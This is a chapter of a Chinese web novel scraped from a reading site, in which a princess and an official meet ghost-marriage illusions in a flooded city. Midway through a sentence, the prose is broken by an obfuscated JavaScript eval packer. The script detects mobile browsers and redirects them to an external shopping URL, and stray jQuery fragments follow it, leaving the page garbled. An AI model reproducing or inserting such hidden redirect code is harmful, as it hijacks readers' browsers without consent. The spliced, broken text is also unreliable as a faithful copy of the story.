文趣网 > 都市小说 > 捡个醋精当夫君 > 8. 渡极西济
    “不是。”沈言呼吸有些急促,但依旧一脸正色。

    姜绾点了点他的耳尖:“可是你的耳朵和我手上这串玛瑙一样”

    “格外殷红。”

    她抬起胳膊晃了晃手腕上的那串玛瑙手链,纤细的手腕在沈言眼前晃动着。

    沈言喉头微动,缓缓移开视线。

    他捏了捏手心,良久挤出一句:“柴火旁太热了而已,郡主你靠得太近了,于理不合。”

    听见他说出此话,姜绾噗嗤一笑没有理会他,而是起身去休息,留下沈言一个人。

    这般循规滔距,恪守礼数,也不知在朝堂上能用他三寸不烂之舌活到几时。

    待姜绾走远,沈言摸上自己的脸,烫烫的,定是火烤得!

    大约十几日,他们便赶到了渡极西济的主城——西济城。

    凄苦之景远比他们想象的要残酷。

    空中阴云齐压,不见扶光。

    纸钱在风中回旋,落地。

    城中哭丧声此起彼伏,街道旁挨家挨户的挂着白幡,烟尘味有些呛人。

    水患过后,城墙坍了大半。衣衫褴褛的百姓赤足行走在断壁残垣间,冻疮溃烂的脚惨不忍睹。

    有的人抱着已经青紫的婴孩呆坐在路旁,眼中蓄着一滩死水。

    本应该生机勃勃的西济城如今和义庄别无一二。

    “这里竟然变成如此模样。”姜绾眼中难掩震惊,说道。

    “是啊,远比我们想象中要惨。”沈言附和道。

    忽然,四周浓烟滚滚,教人看不清四周,姜绾止不住的咳嗽,等她转身,发觉此地不知何时只余下她一人。其他几人都不见了踪迹。城中雾气横生,那些百姓也消失在雾中。

    姜绾心下一惊,模糊间瞧见孩童你追我赶,嘴里还在咕噜咕噜唱着什么。她想开口,却发觉喉间生涩。

    孩童从她身旁跑了过去,卷起一阵风,将那唱着歌谣的声音也卷近了几分。

    这次她终于听清了。

    缚龙孙,裹地娘,旱涝两相祭,胎发缠阴阳。

    大哥哥追着小妹妹,嘴里咿呀呀的唱。

    小妹妹跑呀跑不掉,眼泪啪嗒嗒的掉。

    绑红丝,裹新衣。

    “——入轿!”

    高亮延长的声音陡然响起。

    这一声使得姜绾意识突然回笼。

    她坐在晃晃荡荡的红轿子里,头痛欲裂。

    眼前重影晃荡一时分不清自己身处何方。

    她低头瞧去,红色的衣裳有些暗沉,衣摆处沾着湿泥。她抚上头,却觉朱钗满贯。

    头上的十一品金步摇一晃一晃的,她取下一支,颜色暗沉,还带有土腥味。

    倒像是刚从土里取出来的。

    这十一品金步摇早就随先皇后葬于墓中,不可能出现在这里,姜绾想到这将它一折,瞬间断裂。

    果真是赝品!

    姜绾闭了闭眼,整理着自己的思绪。

    明明刚刚还和沈言他们看着西济城的惨象,怎么忽然落进了这不知去往何处的轿子里。

    到底是哪里出了问题?

    ——嘶,头好痛。

    姜绾只觉脑子痛感更烈几分,身上的力气也渐渐流失。

    仿佛下一刻就要昏厥过去。

    她摸索着周围,轿门和窗户都封的死死的。

    这轿子似乎和她出城那日坐的一模一样。

    又是阴阳扣。

    阴阳扣,是民间通俗的说法。基于堪舆之术而衍生出来的。

    阴阳二气交缠锁合,便形成了类似于阴阳交/媾(gou)的格局。【1】

    阴来阳受,阳来阴挡;扣如连环,气脉相生。只可惜书中没有记载破解之法。

    姜绾只能坐回去,她盯着自己的指甲缝,里面嵌着黑泥。原本白皙的手此刻脏污不堪。

    她掀起衣摆,将手上的脏污擦拭干净。

    又抬手摸了摸脸,是凉的。

    和坟头的陶俑一个温度。

    不似活人。

    姜绾手臂无力的垂了下去,一时间,不知自己是死是活。

    她微微张口,艰难的吐字:“没想到有一天我会遇到这等匪夷所思的事。”

    她有些嘲讽的勾了勾嘴角。

    不过转而一想,沈言所做之事,也很匪夷所思。

    忽然,晃晃悠悠的轿子停了下来。轿身猛然一震,砸在地上,发出沉闷地声响。

    姜绾整个人向前栽去,额头狠狠撞在门板上。

    四周突然静的可怕。

    姜绾从未经历过这种事情,说不怕那是不可能的,能保持冷静已是她最大的限度。

    她看不到外面的样子。只能听见细微的说话声从四面八方传来。

    又好像是从地底下渗出来的。

    低沉,暗哑。

    那声音一阵一阵的传入她的耳中,似是千万只蚂蚁啃食她的脑袋。

    她痛苦的蜷缩在成一团,指甲深深掐进了掌心,冷汗顺着她苍白的脸颊滑落。

    难道这就要死了吗?

    她正这样想着,那低沉的声音忽然停了下来。

    死一样的寂静又一次笼罩下来。

    姜绾的脑袋安静下来。

    她支起身子,瘫坐在轿子里,颤抖着伸手,想要掀开轿帘。

    吱呀

    轿门自己打开了。

    阴风吹起轿帘,姜绾看到外面整整齐齐的站着两排纸人。惨白的面容上画着夸张的笑容,眼眶点睛。

    它们齐刷刷地转头,望向姜绾。

    最前面的纸人忽然咧嘴,发出咯咯的笑声。

    “新娘子,该上路了。”

    姜绾不住的吞咽口水,她猛地回神,十指死死扣住轿门,用尽全力将其摔上。

    轿门刚关上,却又被一股无形的力量缓缓推开,缝隙间露出纸人惨白的笑脸。

    砰

    轿门重重一响,似是被踹了一脚。

    外面吵吵嚷嚷的,喧嚣声忽远忽近,最后化作死寂。

    咔哒

    轿门处重新响起声音,姜绾浑身一颤警惕起来。

    一只苍白有劲的手探入轿中,伴随着清冷如玉的声音:“郡主,下官来迟了。”

    风吹起轿帘,露出那张俊如谪仙的脸上,似是有所感应,沈言抬起眼眸。

    可惜轿帘滑落。

    夜雾弥漫在山坳里,破烂的神幡悬挂在三尺高的地方,姜绾踉踉跄跄的被扶下轿子。

    四周散落着还未烧完的纸钱,这顶红轿子突兀的停在乱坟岗的中央。忽然她瞥见轿旁赫然挖着一个深坑。

    足以容纳这顶轿子。

    “他们这是要将我活埋吗?”姜绾的嗓音嘶哑得不成样子。

    沈言垂眸看着坑底,缓缓点头。

    不等姜绾再次开口,夜雾忽起,隐隐约约可见更多红轿的影子,一顶接着一顶,排着队向乱坟岗驶来。

    “不好,快走!”

    沈言握住姜绾的手腕快步朝反方向跑去。

    刚跑几步,他突然觉得掌心触感不对。

    那手腕粗糙,根本不似少女肌肤的细腻。

    他心头一沉,回头看去,只见自己死死攥着一截枯木,树皮皲裂。

    “姜绾?”沈言咽了咽口水。心脏仿佛跳到了嗓子眼,冷汗顺着脊背滑落。

    他猛地松手,那截枯木砸在地上发出声响。

    “姜绾!”他声音很大,都荡起了回声。可四周树影婆娑,压根不见姜绾的身影。

    刚才明明还跟在他身后的姜绾,此刻却凭空消失了一样。

    “——不对,”沈言冷静下来,他打开手电查看地面,却发现:

    这一路上只有自己留下的脚印。

    仿佛从一开始,就是他一个人。

    难道刚刚也是幻觉?

    沈言擦了一把汗水,耳边只剩下自己剧烈的心跳声。

    他抬起头,四周的树影不知何时已扭曲成诡异的形态,枝桠疯长,如枯瘦的手向他袭来。

    他闭上眼睛,片刻后睁开,四周已经恢复平静。

    只是不远处的老槐树下,一抹素白身影静静地伫立。

    “郡主?”他试探性的喊道,向前迈了一步。

    树下的女子缓缓抬头,手电光照射出一张惨白的脸。

    那脸上,根本没有五官。

    沈言下意识后退一步,踩到了树枝,他低头看去,树枝已经断成两节。等他再次抬头,刚刚树下的身影已经消失不见。

    忽然,一只冰冷的手抚上他的后颈。

    沈言浑身僵住,慢慢转头。

    姜绾的脸近在咫尺,却似破碎的瓷娃娃般遍布裂痕。

    她的嘴角缓缓咧到耳根,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816218|211060||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    露出森白的牙齿。

    沈言一拳打了上去,她的身影瞬间消散化作白烟。

    都是幻觉。

    他握着手电筒的手青筋微凸,深吸一口气后原路折回,没走出几步地面忽然塌陷。

    沈言被卷了进去。

    地下阴冷潮湿,沈言浑身酸痛,他强忍着痛撑起身子,炽热的火堆在不远处燃烧着。

    姜绾赫然就坐在那里。

    见沈言清醒过来,她连忙将其扶着坐在一旁:“你醒了。”

    “你真的是姜绾?”沈言眼神黏着,定定地看着她。

    姜绾惊讶一瞬,浅浅一笑:“如假包换。不信的话你摸摸。”

    说着,将沈言的手附在自己的脸上。

    眼前的姜绾没有裂痕,也没有恐怖的容颜。

    是她。

    沈言一笑,却注意到她身上红色的衣裳,这说明之前的一切都是真的。

    见沈言盯着自己,姜绾放开他的手,摸了摸他的额头道:“没发烧啊,怎么看着呆呆的。”

    沈言又恢复了往日的冷清,有些严肃的问:“郡主,你是怎么到这里的?”

    “你还记得轿子旁的那个坑吗?”

    沈言点点头。

    她继续道:“夜里太黑了,那个坑并不像我们看到的那样浅。你当时忽然跑了,我本欲追,却不想脚底一滑栽进了坑里。便到了这里。”

    “走了一段路发现你躺在这里,就在此生了火。”

    “你呢?怎么来的?”

    沈言道:“和你一样,不过是另一个坑。”

    “郡主可还记得是如何坐上那顶轿子的?”

    沈言问的这个问题她之前也想过,可惜记忆中并没有这个片段。

    姜绾蹙眉思索,随后摇摇头:“我醒来便在里面了。”

    “怎么了?可是有何问题?”

    “郡主是自己爬进去的。”

    姜绾一愣,沈言的话,让她只觉一股寒意从脚底蔓延开来。

    “我自己爬进去的?”姜绾怔愣一瞬,脸上透露着难以置信。

    沈言神色凝重的点点头:“嗯。当时你眼神空洞,对外界事物毫无反应。”

    “很奇怪,明明你就在眼前我可以拉住你,但是我动不了。”

    沈言忽然又一次出声:“郡主可还记得,缚龙孙,裹地娘,旱涝两相祭,胎发缠阴阳。”

    “你也听到了!”姜绾急忙确认道。

    沈言颔首。

    姜绾瞬间顿悟:“或许从我们刚进西济城便已经入了圈套。真是一刻喘息都不留给我们。”

    “这一切应该和双道祭有关。”

    姜绾重新坐在沈言旁边:“刚入城后你们忽然消失,我看到了嬉闹的孩童,仔细一想,我才发觉他们的面部没有五官。”

    “水患肆虐,西济城那般惨像又怎么还会有孩童嬉戏。”

    她双臂朝着沈言展开,暗红色的嫁衣沾染着灰尘,发饰黯淡无光:“缚龙孙,裹地娘。你看我穿的,我想地娘就是我。”

    “那谁是龙孙?”沈言疑惑却已经有些猜想,缓缓开口:“太子殿下?”

    姜绾点点头。

    “这双道祭。水患肆虐之时祭祀龙阳之气的男子为缚龙孙,祭祀至阴至柔的女子为裹地娘。”

    “而双道祭最厉害之处莫过于让祭品陷入幻觉。”

    “很不幸,我们成为了祭品。”

    “只是这种祭祀之术早就被禁止了,没想到还有人在用!”

    “欸,也不知道他们三人怎么样了。”

    她叹了一口气,火光映照着她的脸颊,沈言瞧见她额头处的青紫:“姜姑娘,你额头的伤口需要处理一下。”

    姜绾摸上自己的额头,肿胀感裹挟着她。她朝着沈言莞尔一笑,点点头:“有劳了。”

    沈言拿出药,用棉棒蘸取,透过火光,姜绾清晰的从他的瞳孔中看到自己的面庞,略微有些憔悴。

    姜绾微阖双眸,不在看去。

    “疼吗?”他声音轻轻的,将棉棒缓缓点下去,很是小心。

    姜绾睫毛微颤,闭着眼睛深吸了一口气,不自觉的捏紧衣服,温声说:“沈大人若是好奇,大可自己去撞一回门试试,不就知道了?”

    沈言低眉,手指不着痕迹地掠过她的发丝:“那怎么行,下官若是撞伤了,谁来为郡主上药。”